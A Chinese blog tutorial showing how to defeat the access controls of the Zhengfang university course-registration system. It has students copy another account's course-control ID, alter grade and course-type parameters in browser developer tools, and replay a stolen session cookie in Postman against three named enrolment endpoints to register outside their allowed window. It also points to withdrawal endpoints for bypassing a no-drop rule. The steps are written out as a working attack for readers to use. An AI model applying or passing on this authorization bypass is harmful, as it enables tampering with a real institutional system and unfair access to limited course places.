一.引言
由于每个学期开学都要在学校的土豆服务器上进行抢课大战(总抢不到),我对学校的教务系统(正方教务系统V-8.1.3)早已深恶痛绝,因此,去年用python模拟登陆(selenium)写了个网课捡漏的脚本(当有同学退课时,由于脚本一直运行,因此可以迅速选上)。本以为这学期我的脚本就可以大展身手,哪知道今年学校突然说改变选课方案,改为分年级分时段选课且只允许选课不允许退课,这就代表了,我的捡漏脚本被宣判死刑了。
但只要思想不滑坡,方法总比困难多,经过我的不懈努力,最终成功实现如下效果:
- 当只允许高年级选课时,低年级可突破限制,与高年级一同选课
- 突破不允许退课限制,自由退课
二.前提条件
-
有一个可以正常进行通识选修课选课的账号A
-
有一个可以进行主修课选课,但不允许选修课选课的账号B(简易版教程需要,进阶版教程不需要)
ps:限制还是挺多的,但是事实上只要知道了选修课对应的
xkkz_id
,就可以直接通过Postman为所欲为了
三.使用到的工具
- Postman
- Chrome浏览器
- 高年级的账号(允许进行网课选取的账号)
- 低年级的账号(不允许进行网课选取的账号)
- 正方教务系统选课接口文档说明
四.教程
简易版
1.登陆高年级账号,进入选课界面,点击通识选修课
2.F12
打开开发者工具,复制xkkz_id
的value
值
3.登录低年级账号,进入选课界面,F12
打开开发者工具,将代码中的xkkz_id
的value
值替换为上面复制的值
4.将kklxdm
的value
值改为10
5.将njdm_id
的value
值改为 允许进行选课的年级,如现在允许2019级进行选课,则改为2019
在本示例中,由于高年级账号为2019级的,因此将njdm_id
改为2019
6.回到页面,点击搜索键
,发现出现的课程为通识选修课,且可以正常进行选课
进阶版
1.同简易版一样,登陆高年级账号先把xkkz_id
的值复制了,后面会用到
2.登录低年级账号,进入选课界面,F12
进入开发者工具,点击Network,刷新界面,找到含Cookie的请求,查看Cookie
,复制JESSIONID
值
3.打开Postman,新建Post请求用于搜索课程,具体如下:
请求地址:
https://XXXXX/xsxk/zzxkyzb_cxZzxkYzbPartDisplay.html
请求头:
JSESSIONID为第二步复制的值
Cookie:JSESSIONID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
请求参数:
变量名 | 值(示例) | 注释 | 是否必须 |
---|---|---|---|
xkxnm | 2021 | 当前学期年份如2021-2022 即2021 | ✓ |
xkxqm | 12 | 定值 | ✓ |
kklxdm | 10 | 01 为主修课 10 为选修课 | ✓ |
kspage | 1 | 页号 | ✓ |
jspage | 10 | 一页显示的数量 | ✓ |
filter_list[0] | XXX | 搜索的课程名称 |
效果如下:
4.找到要选择的课程,复制其kch_id
5.新建请求,用于显示课程具体信息,具体参数如下:
请求地址:
https://XXXXX/xsxk/zzxkyzbjk_cxJxbWithKchZzxkYzb.html
请求头:
JSESSIONID为第二步复制的值
Cookie:JSESSIONID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
请求参数:
变量名 | 值(示例) | 注释 | 是否必须 |
---|---|---|---|
bklx_id | 0 | 定值 | ✓ |
njdm_id | 2019 | 年级代码(允许正常选课的年级) | ✓ |
xkxnm | 2021 | 当前学期年份如2021-2022 即2021 | ✓ |
xkxqm | 12 | 定值 | ✓ |
kklxdm | 10 | 10 为选修课 01 为主修课 | ✓ |
kch_id | XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | 课程号(第四步复制的) | ✓ |
xkkz_id | D824D824D824D824D824D824D824D824 | 第一步复制的值 | ✓ |
效果如下:
6.复制do_jxb_id
7.新建请求,用于进行选课,具体参数如下:
请求地址:
https://XXXXX/xsxk/zzxkyzbjk_xkBcZyZzxkYzb.html
请求头:
JSESSIONID为第二步复制的值
Cookie:JSESSIONID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
请求参数:
变量名 | 值(示例) | 注释 | 是否必须 |
---|---|---|---|
jxb_ids | 7cad8a50a08b2c9…(共257个字符) | 教学班号(动态刷新) 第六步复制的值 | ✓ |
kch_id | XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | 课程号(第四步复制的) | ✓ |
qz | 0 | 定值 | ✓ |
效果如下:
若flag==1
则表示选课成功
教程结束,总的流程差不多就是这个样子,总体而言可玩性非常高,太刑了👀
我写了相对更全更完整的正方教务系统的接口文档说明,已选课程查询接口
和退课接口
可移步文档查看
文档地址:正方教务系统选课接口文档说明
🎈文档持续更新中,欢迎Star
希望对你有帮助,谢谢!
PS:教程仅供开发交流使用,禁止用于个人盈利!
发布者:admin,转转请注明出处:http://www.yc00.com/web/1754285765a5141965.html
评论列表(0条)